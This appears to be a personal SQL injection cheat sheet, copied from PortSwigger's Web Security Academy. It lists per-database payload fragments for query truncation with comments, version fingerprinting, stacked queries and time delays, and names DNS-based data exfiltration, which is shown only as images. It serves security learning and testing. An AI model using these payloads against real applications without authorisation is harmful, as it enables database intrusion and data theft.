# Cheat Sheet

## My Tricks <a href="#string-concatenation" id="string-concatenation"></a>

* Use `SELECT * FROM Users\G` instead of `SELECT * FROM Users;` to get nicer formatting.

## String Concatenation <a href="#string-concatenation" id="string-concatenation"></a>

You can concatenate together multiple strings to make a single string:

| Oracle     | `'foo'\|\|'bar'`                                                                                              |
| ---------- | ------------------------------------------------------------------------------------------------------------- |
| Microsoft  | `'foo'+'bar'`                                                                                                 |
| PostgreSQL | `'foo'\|\|'bar'`                                                                                              |
| MySQL      | <p><code>'foo' 'bar'</code> \[Note the space between the two strings]<br><code>concat('foo','bar')</code></p> |

## Substring <a href="#substring" id="substring"></a>

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string `ba`:

| Oracle     | `substr('foobar', 4, 2)`    |
| ---------- | --------------------------- |
| Microsoft  | `substring('foobar', 4, 2)` |
| PostgreSQL | `substring('foobar', 4, 2)` |
| MySQL      | `substring('foobar', 4, 2)` |

## Comments <a href="#comments" id="comments"></a>

You can use comments to truncate a query and remove the portion of the original query that follows your input:

| Oracle     | `--comment`                                                                                                                                  |
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------- |
| Microsoft  | <p><code>--comment</code><br><code>/*comment*/</code></p>                                                                                    |
| PostgreSQL | <p><code>--comment</code><br><code>/*comment*/</code></p>                                                                                    |
| MySQL      | <p><code>#comment</code><br><code>-- comment</code> \[Note the <strong>space</strong> after the double dash]<br><code>/*comment*/</code></p> |

## Database Version <a href="#database-version" id="database-version"></a>

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks:

<table data-header-hidden><thead><tr><th width="187.94914580850218"></th><th></th></tr></thead><tbody><tr><td>Oracle</td><td><code>select banner from v$version</code><br><code>select version from v$instance</code></td></tr><tr><td>Microsoft</td><td><code>select @@version</code></td></tr><tr><td>PostgreSQL</td><td><code>select version()</code></td></tr><tr><td>MySQL</td><td><code>select @@version</code></td></tr></tbody></table>

## Database Contents <a href="#database-contents" id="database-contents"></a>

You can list the tables that exist in the database, and the columns that those tables contain:

![Database Contents](/files/FwTAXGBzRTsl2EAwFReK)

## Conditional Errors <a href="#conditional-errors" id="conditional-errors"></a>

You can test a single boolean condition and trigger a database error if the condition is true:

![Conditional Errors](/files/YGy7mrhEFxi5Ev6xiq7z)

## Batched (or Stacked) Queries <a href="#batched-or-stacked-queries" id="batched-or-stacked-queries"></a>

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

| Oracle     | `Does not support batched queries.` |
| ---------- | ----------------------------------- |
| Microsoft  | `QUERY-1-HERE; QUERY-2-HERE`        |
| PostgreSQL | `QUERY-1-HERE; QUERY-2-HERE`        |
| MySQL      | `QUERY-1-HERE; QUERY-2-HERE`        |

{% hint style="info" %}
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.
{% endhint %}

## Time Delays <a href="#time-delays" id="time-delays"></a>

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds:

| Oracle     | `dbms_pipe.receive_message(('a'),10)` |
| ---------- | ------------------------------------- |
| Microsoft  | `waitfor delay '0:0:10'`              |
| PostgreSQL | `select pg_sleep(10)`                 |
| MySQL      | `select sleep(10)`                    |

## Conditional Time Delays <a href="#conditional-time-delays" id="conditional-time-delays"></a>

You can test a single boolean condition and trigger a time delay if the condition is true:

![Conditional Time Delays](/files/Ywjy062Z0GrFSW9QqApH)

## DNS Lookup <a href="#dns-lookup" id="dns-lookup"></a>

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred:

![DNS Lookup](/files/udu6cLTQizYJut8hXNQ2)

## DNS Lookup with Data Exfiltration <a href="#dns-lookup-with-data-exfiltration" id="dns-lookup-with-data-exfiltration"></a>

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data:

![DNS Lookup with Data Exfiltration](/files/FPChxktbp32KF2khSGU3)

## Reference

{% embed url="<https://portswigger.net/web-security/sql-injection/cheat-sheet>" %}
SQL injection cheat sheet - Web Security Academy
{% endembed %}


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